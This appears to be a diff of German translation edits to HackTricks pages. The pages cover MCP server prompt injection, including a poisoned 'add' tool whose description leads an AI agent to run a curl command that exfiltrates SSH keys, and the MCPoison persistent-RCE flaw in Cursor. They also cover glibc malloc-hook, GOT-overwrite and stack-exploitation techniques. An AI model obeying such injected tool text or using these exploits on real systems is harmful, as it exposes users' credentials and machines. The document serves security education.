Translated ['', 'src/binary-exploitation/rop-return-oriented-programing/

src/AI/AI-MCP-Servers.md

@@ -7,7 +7,7 @@
 
 Das [**Model Context Protocol (MCP)**](https://modelcontextprotocol.io/introduction) ist ein offener Standard, der es KI-Modellen (LLMs) ermöglicht, sich auf eine Plug-and-Play-Art und Weise mit externen Tools und Datenquellen zu verbinden. Dies ermöglicht komplexe Workflows: Zum Beispiel kann eine IDE oder ein Chatbot *dynamisch Funktionen* auf MCP-Servern aufrufen, als ob das Modell natürlich "wüsste", wie man sie verwendet. Im Hintergrund verwendet MCP eine Client-Server-Architektur mit JSON-basierten Anfragen über verschiedene Transportmittel (HTTP, WebSockets, stdio usw.).
 
-Eine **Host-Anwendung** (z. B. Claude Desktop, Cursor IDE) führt einen MCP-Client aus, der sich mit einem oder mehreren **MCP-Servern** verbindet. Jeder Server stellt eine Reihe von *Tools* (Funktionen, Ressourcen oder Aktionen) zur Verfügung, die in einem standardisierten Schema beschrieben sind. Wenn der Host sich verbindet, fragt er den Server nach seinen verfügbaren Tools über eine `tools/list`-Anfrage; die zurückgegebenen Tool-Beschreibungen werden dann in den Kontext des Modells eingefügt, sodass die KI weiß, welche Funktionen existieren und wie man sie aufruft.
+Eine **Host-Anwendung** (z. B. Claude Desktop, Cursor IDE) führt einen MCP-Client aus, der sich mit einem oder mehreren **MCP-Servern** verbindet. Jeder Server stellt eine Reihe von *Tools* (Funktionen, Ressourcen oder Aktionen) bereit, die in einem standardisierten Schema beschrieben sind. Wenn der Host sich verbindet, fragt er den Server nach seinen verfügbaren Tools über eine `tools/list`-Anfrage; die zurückgegebenen Tool-Beschreibungen werden dann in den Kontext des Modells eingefügt, sodass die KI weiß, welche Funktionen existieren und wie man sie aufruft.
 
 
 ## Grundlegender MCP-Server
@@ -43,7 +43,6 @@ Sobald verbunden, wird der Host (Inspektor oder ein KI-Agent wie Cursor) die Wer
 
 Für weitere Informationen über Prompt Injection siehe:
 
-
 {{#ref}}
 AI-Prompts.md
 {{#endref}}
@@ -62,7 +61,7 @@ Wie in den Blogs erklärt:
 
 Ein böswilliger Akteur könnte unbeabsichtigt schädliche Werkzeuge zu einem MCP-Server hinzufügen oder einfach die Beschreibung vorhandener Werkzeuge ändern, was nach dem Lesen durch den MCP-Client zu unerwartetem und unbemerkt Verhalten im KI-Modell führen könnte.
 
-Stellen Sie sich zum Beispiel vor, ein Opfer verwendet die Cursor IDE mit einem vertrauenswürdigen MCP-Server, der abtrünnig wird und ein Werkzeug namens `add` hat, das 2 Zahlen addiert. Selbst wenn dieses Werkzeug monatelang wie erwartet funktioniert hat, könnte der Betreiber des MCP-Servers die Beschreibung des `add` Werkzeugs in eine Beschreibung ändern, die das Werkzeug einlädt, eine böswillige Aktion auszuführen, wie das Exfiltrieren von SSH-Schlüsseln:
+Stellen Sie sich beispielsweise vor, ein Opfer verwendet die Cursor IDE mit einem vertrauenswürdigen MCP-Server, der bösartig wird und ein Werkzeug namens `add` hat, das 2 Zahlen addiert. Selbst wenn dieses Werkzeug monatelang wie erwartet funktioniert hat, könnte der Betreiber des MCP-Servers die Beschreibung des `add` Werkzeugs in eine Beschreibung ändern, die das Werkzeug einlädt, eine böswillige Aktion auszuführen, wie das Exfiltrieren von SSH-Schlüsseln:
 ```python
 @mcp.tool()
 def add(a: int, b: int) -> int:
@@ -76,7 +75,7 @@ It's important to not forget to run this command before using the tool, otherwis
 """
 return a + b
 ```
-Diese Beschreibung könnte vom KI-Modell gelesen werden und zur Ausführung des `curl`-Befehls führen, wodurch sensible Daten exfiltriert werden, ohne dass der Benutzer sich dessen bewusst ist.
+Diese Beschreibung würde vom KI-Modell gelesen werden und könnte zur Ausführung des `curl`-Befehls führen, wodurch sensible Daten exfiltriert werden, ohne dass der Benutzer sich dessen bewusst ist.
 
 Beachten Sie, dass es je nach den Einstellungen des Clients möglich sein könnte, beliebige Befehle auszuführen, ohne dass der Client den Benutzer um Erlaubnis fragt.
 
@@ -100,7 +99,7 @@ Beachten Sie, dass die bösartigen indirekten Prompts in einem öffentlichen Rep
 
 ### Persistente Codeausführung über MCP-Vertrauensumgehung (Cursor IDE – "MCPoison")
 
-Anfang 2025 gab Check Point Research bekannt, dass die KI-zentrierte **Cursor IDE** das Vertrauen der Benutzer an den *Namen* eines MCP-Eintrags band, aber nie den zugrunde liegenden `command` oder `args` erneut validierte. Dieser Logikfehler (CVE-2025-54136, auch bekannt als **MCPoison**) ermöglicht es jedem, der in ein gemeinsames Repository schreiben kann, einen bereits genehmigten, harmlosen MCP in einen beliebigen Befehl zu verwandeln, der *jedes Mal ausgeführt wird, wenn das Projekt geöffnet wird* – kein Prompt wird angezeigt.
+Anfang 2025 gab Check Point Research bekannt, dass die KI-zentrierte **Cursor IDE** das Vertrauen der Benutzer an den *Namen* eines MCP-Eintrags band, aber niemals den zugrunde liegenden `command` oder `args` erneut validierte. Dieser Logikfehler (CVE-2025-54136, auch bekannt als **MCPoison**) ermöglicht es jedem, der in ein gemeinsames Repository schreiben kann, einen bereits genehmigten, harmlosen MCP in einen beliebigen Befehl zu verwandeln, der *jedes Mal ausgeführt wird, wenn das Projekt geöffnet wird* – kein Prompt wird angezeigt.
 
 #### Verwundbarer Workflow
 
@@ -129,7 +128,7 @@ Anfang 2025 gab Check Point Research bekannt, dass die KI-zentrierte **Cursor ID
 ```
 4. Wenn das Repository synchronisiert wird (oder die IDE neu gestartet wird), führt Cursor den neuen Befehl **ohne zusätzliche Aufforderung** aus, was eine Remote-Code-Ausführung auf der Entwickler-Workstation ermöglicht.
 
-Die Payload kann alles sein, was der aktuelle OS-Benutzer ausführen kann, z.B. eine Reverse-Shell-Batch-Datei oder einen Powershell-One-Liner, wodurch das Backdoor über IDE-Neustarts hinweg persistent bleibt.
+Die Payload kann alles sein, was der aktuelle OS-Benutzer ausführen kann, z.B. eine Reverse-Shell-Batchdatei oder einen Powershell-One-Liner, wodurch das Backdoor über IDE-Neustarts hinweg persistent bleibt.
 
 #### Erkennung & Minderung
 

src/AI/README.md

@@ -28,7 +28,7 @@ Der beste Ausgangspunkt, um über KI zu lernen, ist zu verstehen, wie die Hauptm
 
 ### LLMs-Architektur
 
-Auf der folgenden Seite finden Sie die Grundlagen jedes Komponenten, um ein einfaches LLM mit Transformatoren zu erstellen:
+Auf der folgenden Seite finden Sie die Grundlagen jedes Komponenten, um ein grundlegendes LLM mit Transformatoren zu erstellen:
 
 
 {{#ref}}
@@ -37,9 +37,9 @@ AI-llm-architecture/README.md
 
 ## KI-Sicherheit
 
-### KI-Risiko-Rahmenwerke
+### KI-Risikorahmen
 
-Im Moment sind die beiden Hauptrahmenwerke zur Bewertung der Risiken von KI-Systemen die OWASP ML Top 10 und das Google SAIF:
+Im Moment sind die beiden Hauptrahmen zur Bewertung der Risiken von KI-Systemen die OWASP ML Top 10 und das Google SAIF:
 
 
 {{#ref}}
@@ -57,7 +57,7 @@ AI-Prompts.md
 
 ### RCE von KI-Modellen
 
-Es ist sehr verbreitet, dass Entwickler und Unternehmen Modelle aus dem Internet herunterladen und ausführen. Allerdings kann das bloße Laden eines Modells ausreichen, um beliebigen Code auf dem System auszuführen. Dies ist ein sehr wichtiges Thema, um zu verstehen, wie man KI sicher nutzt und wie man sie angreift:
+Es ist sehr verbreitet, dass Entwickler und Unternehmen Modelle aus dem Internet herunterladen, jedoch kann das bloße Laden eines Modells ausreichen, um beliebigen Code auf dem System auszuführen. Dies ist ein sehr wichtiges Thema, um zu verstehen, wie man KI sicher nutzt und wie man sie angreift:
 
 
 {{#ref}}

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md

@@ -4,11 +4,11 @@
 
 ## **Malloc Hook**
 
-Wie auf der [offiziellen GNU-Seite](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) beschrieben, ist die Variable **`__malloc_hook`** ein Zeiger, der auf die **Adresse einer Funktion zeigt, die aufgerufen wird**, wann immer `malloc()` aufgerufen wird, **die im Datensegment der libc-Bibliothek gespeichert ist**. Daher, wenn diese Adresse mit einem **One Gadget** überschrieben wird und `malloc` aufgerufen wird, wird der **One Gadget aufgerufen**.
+Wie auf der [offiziellen GNU-Seite](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) beschrieben, ist die Variable **`__malloc_hook`** ein Zeiger, der auf die **Adresse einer Funktion zeigt, die aufgerufen wird**, wann immer `malloc()` aufgerufen wird, **gespeichert im Datensegment der libc-Bibliothek**. Daher, wenn diese Adresse mit einem **One Gadget** überschrieben wird und `malloc` aufgerufen wird, wird der **One Gadget aufgerufen**.
 
 Um malloc aufzurufen, ist es möglich, darauf zu warten, dass das Programm es aufruft, oder indem man **`printf("%10000$c")`** aufruft, was zu viele Bytes allokiert, sodass `libc` malloc aufruft, um sie im Heap zu allokieren.
 
-Weitere Informationen zu One Gadget finden Sie in:
+Weitere Informationen zu One Gadget in:
 
 {{#ref}}
 ../rop-return-oriented-programing/ret2lib/one-gadget.md
@@ -45,7 +45,7 @@ gef➤  p &__free_hook
 
 An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des free hooks in `$eax` befinden.
 
-Jetzt wird ein **Fast Bin Angriff** durchgeführt:
+Jetzt wird ein **fast bin attack** durchgeführt:
 
 - Zunächst wird entdeckt, dass es möglich ist, mit schnellen **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
@@ -56,7 +56,7 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Wenn es gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
+- Wenn es uns gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
 - Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die zusammengeführte Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im Fast Bin erhalten.
 - Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses Fast Bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
 - Anschließend wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem Fast Bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen Fast Bin Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
@@ -64,7 +64,7 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 
 ---
 
-## Tcache Poisoning & Safe-Linking (glibc 2.32 – 2.33)
+## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
 
 glibc 2.32 führte **Safe-Linking** ein – eine Integritätsprüfung, die die *einzel*-verketteten Listen schützt, die von **tcache** und Fast-Bins verwendet werden. Anstelle eines rohen Vorwärtszeigers (`fd`) speichert ptmalloc ihn jetzt *obfuskiert* mit dem folgenden Makro:
 ```c
@@ -117,7 +117,7 @@ Der obige Auszug wurde aus aktuellen CTF-Herausforderungen wie *UIUCTF 2024 –
 
 ## Was hat sich in glibc ≥ 2.34 geändert?
 
-Beginnend mit **glibc 2.34 (August 2021)** wurden die Zuweisungshooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` und `__free_hook` **aus der öffentlichen API entfernt und werden vom Zuweiser nicht mehr aufgerufen**. Kompatibilitätssymbole werden weiterhin für Legacy-Binärdateien exportiert, aber das Überschreiben dieser hat keinen Einfluss mehr auf den Kontrollfluss von `malloc()` oder `free()`.
+Beginnend mit **glibc 2.34 (August 2021)** wurden die Allokations-Hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` und `__free_hook` **aus der öffentlichen API entfernt und werden vom Allokator nicht mehr aufgerufen**. Kompatibilitätssymbole werden weiterhin für Legacy-Binärdateien exportiert, aber das Überschreiben dieser hat keinen Einfluss mehr auf den Kontrollfluss von `malloc()` oder `free()`.
 
 Praktische Auswirkung: In modernen Distributionen (Ubuntu 22.04+, Fedora 35+, Debian 12 usw.) müssen Sie auf *andere* Hijack-Primitiven (IO-FILE, `__run_exit_handlers`, vtable spraying usw.) umschwenken, da Hook-Überschreibungen stillschweigend fehlschlagen.
 
@@ -130,6 +130,6 @@ Wenn Sie das alte Verhalten für Debugging-Zwecke benötigen, liefert glibc `lib
 - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
 - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
 - Safe-Linking – Eliminierung eines 20 Jahre alten malloc() Exploit-Primitivs (Check Point Research, 2020)
-- glibc 2.34 Versionshinweise – Entfernung der malloc-Hooks
+- glibc 2.34 Versionshinweise – Entfernung der malloc Hooks
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -12,7 +12,7 @@ Jeder Eintrag in der GOT entspricht einem Symbol in den externen Bibliotheken, d
 
 ### **PLT: Procedure Linkage Table**
 
-Die **Procedure Linkage Table (PLT)** arbeitet eng mit der GOT zusammen und dient als Trampolin, um Aufrufe an externe Funktionen zu handhaben. Wenn eine Binärdatei **eine externe Funktion zum ersten Mal aufruft, wird die Kontrolle an einen Eintrag in der PLT übergeben, der mit dieser Funktion verbunden ist**. Dieser PLT-Eintrag ist dafür verantwortlich, den dynamischen Linker aufzurufen, um die Adresse der Funktion aufzulösen, falls sie noch nicht aufgelöst wurde. Nachdem die Adresse aufgelöst wurde, wird sie in der **GOT** gespeichert.
+Die **Procedure Linkage Table (PLT)** arbeitet eng mit der GOT zusammen und dient als Trampolin, um Aufrufe an externe Funktionen zu handhaben. Wenn eine Binärdatei **eine externe Funktion zum ersten Mal aufruft, wird die Kontrolle an einen Eintrag in der PLT übergeben, der mit dieser Funktion verknüpft ist**. Dieser PLT-Eintrag ist dafür verantwortlich, den dynamischen Linker aufzurufen, um die Adresse der Funktion aufzulösen, falls sie noch nicht aufgelöst wurde. Nachdem die Adresse aufgelöst wurde, wird sie in der **GOT** gespeichert.
 
 **Daher** werden GOT-Einträge direkt verwendet, sobald die Adresse einer externen Funktion oder Variablen aufgelöst ist. **PLT-Einträge werden verwendet, um die anfängliche Auflösung** dieser Adressen über den dynamischen Linker zu erleichtern.
 
@@ -26,7 +26,7 @@ Holen Sie sich die Adresse der GOT-Tabelle mit: **`objdump -s -j .got ./exec`**
 
 Beobachten Sie, wie Sie nach dem **Laden** der **ausführbaren Datei** in GEF die **Funktionen** sehen können, die in der **GOT** sind: `gef➤ x/20x 0xADDR_GOT`
 
-![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
+![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
 
 Mit GEF können Sie eine **Debugging**-Sitzung **starten** und **`got`** ausführen, um die GOT-Tabelle zu sehen:
 
@@ -34,11 +34,11 @@ Mit GEF können Sie eine **Debugging**-Sitzung **starten** und **`got`** ausfüh
 
 ### GOT2Exec
 
-In einer Binärdatei hat die GOT die **Adressen zu den Funktionen oder** zum **PLT**-Abschnitt, der die Funktionsadresse lädt. Das Ziel dieses willkürlichen Schreibens ist es, einen **GOT-Eintrag** einer Funktion, die später ausgeführt wird, **mit** der **Adresse** des PLT der **`system`** **Funktion** beispielsweise zu **überschreiben**.
+In einer Binärdatei hat die GOT die **Adressen zu den Funktionen oder** zum **PLT**-Abschnitt, der die Funktionsadresse lädt. Das Ziel dieses willkürlichen Schreibens ist es, einen **GOT-Eintrag** einer Funktion, die später ausgeführt wird, **mit** der **Adresse** des PLT der **`system`** **Funktion** beispielsweise zu überschreiben.
 
-Idealerweise werden Sie die **GOT** einer **Funktion** **überschreiben**, die **mit von Ihnen kontrollierten Parametern aufgerufen wird** (so dass Sie die an die Systemfunktion gesendeten Parameter steuern können).
+Idealerweise werden Sie die **GOT** einer **Funktion** überschreiben, die **mit von Ihnen kontrollierten Parametern aufgerufen wird** (so dass Sie die an die Systemfunktion gesendeten Parameter steuern können).
 
-Wenn **`system`** **nicht verwendet wird** von der Binärdatei, wird die Systemfunktion **keinen** Eintrag in der PLT haben. In diesem Szenario müssen Sie **zuerst die Adresse** der `system`-Funktion **leaken** und dann die GOT überschreiben, um auf diese Adresse zu zeigen.
+Wenn **`system`** **nicht verwendet wird** von der Binärdatei, wird die Systemfunktion **keinen** Eintrag in der PLT haben. In diesem Szenario müssen Sie **zuerst die Adresse** der `system`-Funktion leaken und dann die GOT überschreiben, um auf diese Adresse zu zeigen.
 
 Sie können die PLT-Adressen mit **`objdump -j .plt -d ./vuln_binary`** sehen.
 
@@ -52,13 +52,13 @@ Finden Sie [**weitere Informationen zu dieser Technik hier**](https://github.com
 
 ### **Free2system**
 
-In Heap-Exploitation-CTFs ist es üblich, den Inhalt von Chunks zu kontrollieren und zu einem bestimmten Zeitpunkt sogar die GOT-Tabelle zu überschreiben. Ein einfacher Trick, um RCE zu erhalten, wenn keine Gadgets verfügbar sind, besteht darin, die `free` GOT-Adresse auf `system` zu setzen und in einen Chunk `"/bin/sh"` zu schreiben. Auf diese Weise wird, wenn dieser Chunk freigegeben wird, `system("/bin/sh")` ausgeführt.
+In Heap-Exploitation-CTFs ist es üblich, den Inhalt von Chunks zu kontrollieren und zu einem bestimmten Zeitpunkt sogar die GOT-Tabelle zu überschreiben. Ein einfacher Trick, um RCE zu erhalten, wenn keine Gadgets verfügbar sind, besteht darin, die `free` GOT-Adresse auf `system` zu überschreiben und in einen Chunk `"/bin/sh"` zu schreiben. Auf diese Weise wird, wenn dieser Chunk freigegeben wird, `system("/bin/sh")` ausgeführt.
 
 ### **Strlen2system**
 
-Eine weitere gängige Technik besteht darin, die **`strlen`** GOT-Adresse auf **`system`** zu setzen, sodass, wenn diese Funktion mit Benutzereingaben aufgerufen wird, es möglich ist, den String `"/bin/sh"` zu übergeben und eine Shell zu erhalten.
+Eine weitere gängige Technik besteht darin, die **`strlen`** GOT-Adresse auf **`system`** zu überschreiben, sodass, wenn diese Funktion mit Benutzereingaben aufgerufen wird, es möglich ist, den String `"/bin/sh"` zu übergeben und eine Shell zu erhalten.
 
-Darüber hinaus, wenn `puts` mit Benutzereingaben verwendet wird, ist es möglich, die `strlen` GOT-Adresse auf `system` zu setzen und den String `"/bin/sh"` zu übergeben, um eine Shell zu erhalten, da **`puts` `strlen` mit der Benutzereingabe aufruft**.
+Darüber hinaus, wenn `puts` mit Benutzereingaben verwendet wird, ist es möglich, die `strlen` GOT-Adresse auf `system` zu überschreiben und den String `"/bin/sh"` zu übergeben, um eine Shell zu erhalten, da **`puts` `strlen` mit der Benutzereingabe aufruft**.
 
 ## **One Gadget**
 
@@ -69,7 +69,7 @@ Darüber hinaus, wenn `puts` mit Benutzereingaben verwendet wird, ist es möglic
 
 ## **Missbrauch der GOT aus dem Heap**
 
-Eine gängige Methode, um RCE aus einer Heap-Sicherheitsanfälligkeit zu erhalten, besteht darin, einen Fastbin zu missbrauchen, sodass es möglich ist, den Teil der GOT-Tabelle in den Fastbin einzufügen, sodass, wann immer dieser Chunk zugewiesen wird, es möglich ist, **den Zeiger einer Funktion, normalerweise `free`**, zu überschreiben.\
+Eine gängige Methode, um RCE aus einer Heap-Sicherheitsanfälligkeit zu erhalten, besteht darin, einen Fastbin auszunutzen, sodass es möglich ist, den Teil der GOT-Tabelle in den Fastbin einzufügen, sodass, wann immer dieser Chunk zugewiesen wird, es möglich ist, **den Zeiger einer Funktion, normalerweise `free`**, zu überschreiben.\
 Dann wird `free` auf `system` gezeigt und das Freigeben eines Chunks, in dem `/bin/sh\x00` geschrieben wurde, wird eine Shell ausführen.
 
 Es ist möglich, ein [**Beispiel hier zu finden**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -28,7 +28,7 @@ Es gibt verschiedene Möglichkeiten, wie Sie den Fluss eines Programms steuern k
 - Möglicherweise müssen Sie einen [**Integer Overflow**](../integer-overflow.md) ausnutzen, um den Overflow zu verursachen.
 - Oder über **Arbitrary Writes + Write What Where to Execution**.
 - [**Format-Strings**](../format-strings/index.html)**:** Missbrauch von `printf`, um beliebige Inhalte an beliebige Adressen zu schreiben.
-- [**Array-Indexierung**](../array-indexing.md): Missbrauch einer schlecht gestalteten Indexierung, um einige Arrays zu steuern und einen beliebigen Schreibzugriff zu erhalten.
+- [**Array-Indexierung**](../array-indexing.md): Missbrauch einer schlecht gestalteten Indizierung, um einige Arrays zu steuern und einen beliebigen Schreibzugriff zu erhalten.
 - Möglicherweise müssen Sie einen [**Integer Overflow**](../integer-overflow.md) ausnutzen, um den Overflow zu verursachen.
 - **bof zu WWW über ROP**: Missbrauch eines Buffer Overflows, um ein ROP zu konstruieren und in der Lage zu sein, ein WWW zu erhalten.
 
@@ -40,7 +40,7 @@ Sie finden die **Write What Where to Execution** Techniken in:
 
 ## Ewige Schleifen
 
-Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um einen erfolgreichen Exploit auszuführen, insbesondere müssen einige Schutzmaßnahmen umgangen werden. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals** in derselben Ausführung der Binärdatei ausnutzbar zu machen:
+Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzung einer Schwachstelle möglicherweise nicht ausreicht**, um einen erfolgreichen Exploit auszuführen, insbesondere müssen einige Schutzmaßnahmen umgangen werden. Daher ist es interessant, einige Optionen zu diskutieren, um **eine einzelne Schwachstelle mehrmals in derselben Ausführung der Binärdatei ausnutzbar zu machen**:
 
 - Schreiben Sie in eine **ROP**-Kette die Adresse der **`main`-Funktion** oder die Adresse, an der die **Schwachstelle** auftritt.
 - Durch die Kontrolle einer ordnungsgemäßen ROP-Kette könnten Sie in der Lage sein, alle Aktionen in dieser Kette auszuführen.
@@ -66,10 +66,10 @@ Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzun
 
 ### Ziel: RCE
 
-#### Über Shellcode, wenn nx deaktiviert oder Shellcode mit ROP gemischt:
+#### Über Shellcode, wenn nx deaktiviert ist oder Shellcode mit ROP gemischt wird:
 
 - [**(Stack) Shellcode**](#stack-shellcode): Dies ist nützlich, um einen Shellcode im Stack zu speichern, bevor oder nachdem der Rückgabepointer überschrieben wurde, und dann **dorthin zu springen**, um ihn auszuführen:
-- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** gibt, müssen Sie in einem regulären bof (leaken) umgehen.**
+- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** gibt,** müssen Sie in einem regulären bof (leaken) ihn umgehen.
 - **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ist es möglich, zur Adresse des Stacks zu springen, da sie sich niemals ändern wird.
 - **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) müssen Sie Techniken wie [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) verwenden, um dorthin zu springen.
 - **Mit** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) müssen Sie einige [**ROP**](../rop-return-oriented-programing/index.html) **verwenden, um `memprotect` aufzurufen** und eine Seite `rwx` zu machen, um dann **den Shellcode dort zu speichern** (zum Beispiel durch Aufruf von read) und dann dorthin zu springen.
@@ -78,27 +78,27 @@ Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzun
 #### Über Syscalls
 
 - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Nützlich, um `execve` aufzurufen, um beliebige Befehle auszuführen. Sie müssen in der Lage sein, die **Gadgets zu finden, um den spezifischen Syscall mit den Parametern** aufzurufen.
-- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aktiviert sind, müssen Sie sie besiegen, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
+- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aktiviert sind, müssen Sie sie überwinden, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
 - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) kann nützlich sein, um die **ret2execve** vorzubereiten.
 - Gadgets von [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu steuern.
 
 #### Über libc
 
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **die Bibliothek laden** lassen, mit der Funktion, die Sie aufrufen möchten (normalerweise libc).
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **laden, um die Bibliothek** mit der Funktion, die Sie aufrufen möchten (normalerweise libc), zu verwenden.
-- Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass sie statisch verwendet werden können.
+- Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), werden die **Adressen** von `system` und `/bin/sh` sich nicht ändern, sodass es möglich ist, sie statisch zu verwenden.
-- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und Kenntnis der geladenen libc-Version** ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass sie statisch verwendet werden können.
+- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und mit Kenntnis der geladenen libc-Version** ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass es möglich ist, sie statisch zu verwenden.
 - Mit [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **aber ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, wenn die libc bekannt ist und die Binärdatei die `system`**-Funktion verwendet, ist es möglich, **`ret` zur Adresse von system in der GOT** mit der Adresse von `'/bin/sh'` im Parameter zu verwenden (das müssen Sie herausfinden).
 - Mit [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) aber ohne [PIE](../common-binary-protections-and-bypasses/pie/index.html), wenn die libc bekannt ist und **ohne dass die Binärdatei die `system`** verwendet:
 - Verwenden Sie [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), um die Adresse von `system` aufzulösen und sie aufzurufen.
 - **Umgehen** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
 - **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **und ohne Kenntnis der libc**: Sie müssen:
 - [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) umgehen.
-- Die **`libc`-Version** herausfinden (ein paar Funktionsadressen leaken).
+- Die **`libc`-Version** herausfinden (einige Funktionsadressen leaken).
 - Die **vorherigen Szenarien mit ASLR** überprüfen, um fortzufahren.
 
 #### Über EBP/RBP
 
-- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Steuern Sie den ESP, um RET über das gespeicherte EBP im Stack zu steuern.
+- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Steuern Sie das ESP, um RET über das gespeicherte EBP im Stack zu steuern.
 - Nützlich für **off-by-one** Stack Overflows.
 - Nützlich als alternative Möglichkeit, EIP zu steuern, während EIP missbraucht wird, um die Nutzlast im Speicher zu konstruieren und dann über EBP dorthin zu springen.
 

src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md

@@ -37,11 +37,11 @@ Segment Sections...
 07
 08     .init_array .fini_array .dynamic .got
 ```
-Die vorherige Programm hat **9 Programm-Header**, dann zeigt die **Segmentzuordnung**, in welchem Programm-Header (von 00 bis 08) **jeder Abschnitt sich befindet**.
+Die vorherige Programm hat **9 Programm-Header**, dann zeigt die **Segmentzuordnung**, in welchem Programm-Header (von 00 bis 08) **jeder Abschnitt lokalisiert ist**.
 
